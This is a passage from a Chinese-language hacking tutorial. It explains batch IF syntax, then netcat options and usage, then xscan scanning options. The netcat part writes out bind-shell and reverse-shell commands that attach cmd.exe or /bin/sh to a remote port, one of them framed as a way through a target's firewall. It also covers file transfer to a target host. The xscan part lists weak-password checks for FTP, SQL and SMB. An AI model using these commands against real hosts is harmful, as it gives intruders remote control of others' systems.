<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IF errorlevel 0 </span><span style="color: black;"><span style="">命令</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">指程序执行后返回的值为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">0</span><span style="color: black;"><span style="">时，就值行后面的命令；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IF not errorlevel 1 </span><span style="color: black;"><span style="">命令指程序执行最后返回的值不等于</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1</span><span style=""><span style="color: black;">，就执行后面的命令。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">0 </span><span style="color: black;"><span style="">指发现并成功执行（真）；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1 </span><span style="color: black;"><span style="">指没有发现、没执行（假）。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">IF [not] </span><span style="color: black;"><span style="">字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1==</span><span style="color: black;"><span style="">字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2 </span><span style="color: black;"><span style="">命令语句</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">如果指定的文本字符串匹配（即：字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1 </span><span style="color: black;"><span style="">等于</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2</span><span style=""><span style="color: black;">），就执行后面的命令。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“if "%2%"=="4" goto start”</span><span style="color: black;"><span style="">指：如果输入的第二个变量为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">4</span><span style="color: black;"><span style="">时，执行后面的命令（注意：调用变量时就</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%</span><span style="color: black;"><span style="">变量名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">%</span><span style="color: black;"><span style="">并加</span></span><span style="font-family: Arial; color: black;" lang="EN-US">" "</span><span style="color: black;"><span style="">）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">IF [not] exist </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">命令语句</span></span><span style="font-family: Arial; color: black;"> </span><span style=""><span style="color: black;">如果指定的文件名存在，就执行后面的命令。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“if not nc.exe goto end”</span><span style="color: black;"><span style="">指：如果没有发现</span></span><span style="font-family: Arial; color: black;" lang="EN-US">nc.exe</span><span style="color: black;"><span style="">文件就跳到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">":end"</span><span style="color: black;"><span style="">标签处。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">IF [not] errorlevel </span><span style="color: black;"><span style="">数字</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">命令语句</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> else </span><span style="color: black;"><span style="">命令语句或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> IF [not] </span><span style="color: black;"><span style="">字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1==</span><span style="color: black;"><span style="">字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2 </span><span style="color: black;"><span style="">命令语句</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> else </span><span style="color: black;"><span style="">命令语句或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> IF [not] exist </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">命令语句</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> else </span><span style="color: black;"><span style="">命令语句</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">加上：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">else </span><span style="color: black;"><span style="">命令语句后指：当前面的条件不成立时，就指行</span></span><span style="font-family: Arial; color: black;" lang="EN-US">else</span><span style="color: black;"><span style="">后面的命令。注意：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">else </span><span style="color: black;"><span style="">必须与</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> if </span><span style="color: black;"><span style="">在同一行才有效。</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">当有</span></span><span style="font-family: Arial; color: black;" lang="EN-US">del</span><span style="color: black;"><span style="">命令时需把</span></span><span style="font-family: Arial; color: black;" lang="EN-US">del</span><span style="color: black;"><span style="">命令全部内容用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">< ></span><span style="color: black;"><span style="">括起来，因为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">del</span><span style="color: black;"><span style="">命令要单独一行时才能执行，用上</span></span><span style="font-family: Arial; color: black;" lang="EN-US">< ></span><span style="color: black;"><span style="">后就等于是单独一行了；例如：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“if exist test.txt. <del test.txt.> else echo test.txt.missing ”</span><span style="color: black;"><span style="">，注意命令中的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“.” </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">（二）系统外部命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">均需下载相关工具</span></span><span style="font-family: Arial; color: black;" lang="EN-US">)</span><span style=""><span style="color: black;">：</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">1</span><span style="color: black;"><span style="">、瑞士军刀：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">nc.exe</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">参数说明：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-h </span><span style="color: black;"><span style="">查看帮助信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-d </span><span style="color: black;"><span style="">后台模式</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-e prog</span><span style="color: black;"><span style="">程序重定向，一但连接就执行〔危险〕</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-i secs</span><span style="color: black;"><span style="">延时的间隔</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-l </span><span style="color: black;"><span style="">监听模式，用于入站连接</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-L </span><span style="color: black;"><span style="">监听模式，连接天闭后仍然继续监听，直到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CTR+C </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-n IP</span><span style="color: black;"><span style="">地址，不能用域名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-o film</span><span style="color: black;"><span style="">记录</span></span><span style="font-family: Arial; color: black;" lang="EN-US">16</span><span style="color: black;"><span style="">进制的传输</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-p[</span><span style="color: black;"><span style="">空格</span></span><span style="font-family: Arial; color: black;" lang="EN-US">]</span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">本地端口号</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-r </span><span style="color: black;"><span style="">随机本地及远程端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-t </span><span style="color: black;"><span style="">使用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Telnet</span><span style="color: black;"><span style="">交互方式</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-u UDP</span><span style="color: black;"><span style="">模式</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-v </span><span style="color: black;"><span style="">详细输出，用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-vv</span><span style="color: black;"><span style="">将更详细</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-w</span><span style="color: black;"><span style="">数字</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> timeout</span><span style="color: black;"><span style="">延时间隔</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-z </span><span style="color: black;"><span style="">将输入，输出关掉（用于扫锚时）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">基本用法：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -nvv 192.168.0.1 80 </span><span style="color: black;"><span style="">连接到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">192.168.0.1</span><span style="color: black;"><span style="">主机的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">80</span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -l -p 80 </span><span style="color: black;"><span style="">开启本机的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">TCP 80</span><span style="color: black;"><span style="">端口并监听</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -nvv -w2 -z 192.168.0.1 80-1024 </span><span style="color: black;"><span style="">扫锚</span></span><span style="font-family: Arial; color: black;" lang="EN-US">192.168.0.1</span><span style="color: black;"><span style="">的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">80-1024</span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -l -p 5354 -t -e c:winntsystem32cmd.exe </span><span style="color: black;"><span style="">绑定</span></span><span style="font-family: Arial; color: black;" lang="EN-US">remote</span><span style="color: black;"><span style="">主机的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmdshell</span><span style="color: black;"><span style="">在</span></span><span style="font-family: Arial; color: black;" lang="EN-US">remote</span><span style="color: black;"><span style="">的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">TCP 5354</span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 </span><span style="color: black;"><span style="">梆定</span></span><span style="font-family: Arial; color: black;" lang="EN-US">remote</span><span style="color: black;"><span style="">主机的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmdshell</span><span style="color: black;"><span style="">并反向连接</span></span><span style="font-family: Arial; color: black;" lang="EN-US">192.168.0.2</span><span style="color: black;"><span style="">的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">5354</span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">高级用法：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -L -p 80 </span><span style="color: black;"><span style="">作为蜜罐用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1</span><span style="color: black;"><span style="">：开启并不停地监听</span></span><span style="font-family: Arial; color: black;" lang="EN-US">80</span><span style="color: black;"><span style="">端口，直到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CTR+C</span><span style="color: black;"><span style="">为止</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -L -p 80 > c:/log.txt </span><span style="color: black;"><span style="">作为蜜罐用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2</span><span style="color: black;"><span style="">：开启并不停地监听</span></span><span style="font-family: Arial; color: black;" lang="EN-US">80</span><span style="color: black;"><span style="">端口，直到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CTR+C,</span><span style="color: black;"><span style="">同时把结果输出到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">c:/log.txt </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -L -p 80 < c:/honeyport.txt </span><span style="color: black;"><span style="">作为蜜罐用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">3-1</span><span style="color: black;"><span style="">：开启并不停地监听</span></span><span style="font-family: Arial; color: black;" lang="EN-US">80</span><span style="color: black;"><span style="">端口，直到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CTR+C,</span><span style="color: black;"><span style="">并把</span></span><span style="font-family: Arial; color: black;" lang="EN-US">c:/honeyport.txt</span><span style="color: black;"><span style="">中内容送入管道中，亦可起到传送文件作用</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">type.exe c:/honeyport | nc -L -p 80 </span><span style="color: black;"><span style="">作为蜜罐用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">3-2</span><span style="color: black;"><span style="">：开启并不停地监听</span></span><span style="font-family: Arial; color: black;" lang="EN-US">80</span><span style="color: black;"><span style="">端口，直到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CTR+C,</span><span style="color: black;"><span style="">并把</span></span><span style="font-family: Arial; color: black;" lang="EN-US">c:/honeyport.txt</span><span style="color: black;"><span style="">中内容送入管道中</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">亦可起到传送文件作用</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">本机上用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">nc -l -p </span><span style="color: black;"><span style="">本机端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">在对方主机上用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">nc -e cmd.exe </span><span style="color: black;"><span style="">本机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP -p </span><span style="color: black;"><span style="">本机端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> *win2K</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">nc -e /bin/sh </span><span style="color: black;"><span style="">本机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP -p </span><span style="color: black;"><span style="">本机端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> *linux,unix </span><span style="color: black;"><span style="">反向连接突破对方主机的防火墙</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">本机上用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">nc -d -l -p </span><span style="color: black;"><span style="">本机端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> < </span><span style="color: black;"><span style="">要传送的文件路径及名称</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">在对方主机上用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">nc -vv </span><span style="color: black;"><span style="">本机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP </span><span style="color: black;"><span style="">本机端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> > </span><span style="color: black;"><span style="">存放文件的路径及名称</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">传送文件到对方主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">备</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">注：</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">| </span><span style="color: black;"><span style="">管道命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">< </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> > </span><span style="color: black;"><span style="">重定向命令。</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“<”</span><span style="color: black;"><span style="">，例如：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">tlntadmn < test.txt </span><span style="color: black;"><span style="">指把</span></span><span style="font-family: Arial; color: black;" lang="EN-US">test.txt</span><span style="color: black;"><span style="">的内容赋值给</span></span><span style="font-family: Arial; color: black;" lang="EN-US">tlntadmn</span><span style="color: black;"><span style="">命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">＠</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠</span></span><span style="font-family: Arial; color: black;" lang="EN-US">dir c:/winnt >> d:/log.txt </span><span style="color: black;"><span style="">意思是：后台执行</span></span><span style="font-family: Arial; color: black;" lang="EN-US">dir</span><span style="color: black;"><span style="">，并把结果存在</span></span><span style="font-family: Arial; color: black;" lang="EN-US">d:/log.txt</span><span style="color: black;"><span style="">中</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">></span><span style="color: black;"><span style="">与</span></span><span style="font-family: Arial; color: black;" lang="EN-US">>></span><span style="color: black;"><span style="">的区别</span></span><span style="font-family: Arial; color: black;" lang="EN-US"><span style=""> </span>">"</span><span style="color: black;"><span style="">指：覆盖；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">">>"</span><span style="color: black;"><span style="">指：保存到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style=""><span style="color: black;">添加到）。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">如：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">@dir c:/winnt >> d:/log.txt</span><span style="color: black;"><span style="">和</span></span><span style="font-family: Arial; color: black;" lang="EN-US">@dir c:/winnt > d:/log.txt</span><span style="color: black;"><span style="">二个命令分别执行二次比较看：用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">>></span><span style="color: black;"><span style="">的则是把二次的结果都保存了，而用：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">></span><span style=""><span style="color: black;">则只有一次的结果，是因为第二次的结果把第一次的覆盖了。</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">（八）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">2</span><span style="color: black;"><span style="">、扫锚工具：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">xscan.exe</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">基本格式</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">xscan -host <</span><span style="color: black;"><span style="">起始</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP>[-<</span><span style="color: black;"><span style="">终止</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP>] <</span><span style="color: black;"><span style="">检测项目</span></span><span style="font-family: Arial; color: black;" lang="EN-US">> [</span><span style="color: black;"><span style="">其他选项</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] </span><span style="color: black;"><span style="">扫锚</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"</span><span style="color: black;"><span style="">起始</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">到终止</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP"</span><span style="color: black;"><span style="">段的所有主机信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">xscan -file <</span><span style="color: black;"><span style="">主机列表文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">> <</span><span style="color: black;"><span style="">检测项目</span></span><span style="font-family: Arial; color: black;" lang="EN-US">> [</span><span style="color: black;"><span style="">其他选项</span></span><span style="font-family: Arial; color: black;" lang="EN-US">] </span><span style="color: black;"><span style="">扫锚</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"</span><span style="color: black;"><span style="">主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">列表文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"</span><span style="color: black;"><span style="">中的所有主机信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="color: black;"><span style="">检测项目</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-active </span><span style="color: black;"><span style="">检测主机是否存活</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-os </span><span style="color: black;"><span style="">检测远程操作系统类型（通过</span></span><span style="font-family: Arial; color: black;" lang="EN-US">NETBIOS</span><span style="color: black;"><span style="">和</span></span><span style="font-family: Arial; color: black;" lang="EN-US">SNMP</span><span style="color: black;"><span style="">协议）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-port </span><span style="color: black;"><span style="">检测常用服务的端口状态</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-ftp </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">FTP</span><span style="color: black;"><span style="">弱口令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-pub </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">FTP</span><span style="color: black;"><span style="">服务匿名用户写权限</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-pop3 </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">POP3-Server</span><span style="color: black;"><span style="">弱口令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-smtp </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">SMTP-Server</span><span style="color: black;"><span style="">漏洞</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-sql </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">SQL-Server</span><span style="color: black;"><span style="">弱口令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">-smb </span><span style="color: black;"><span style="">检测</span></span><span style="font-family: Arial; color: black;" lang="EN-US">NT-Server</span><span style="color: black;"><span style="">弱口令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
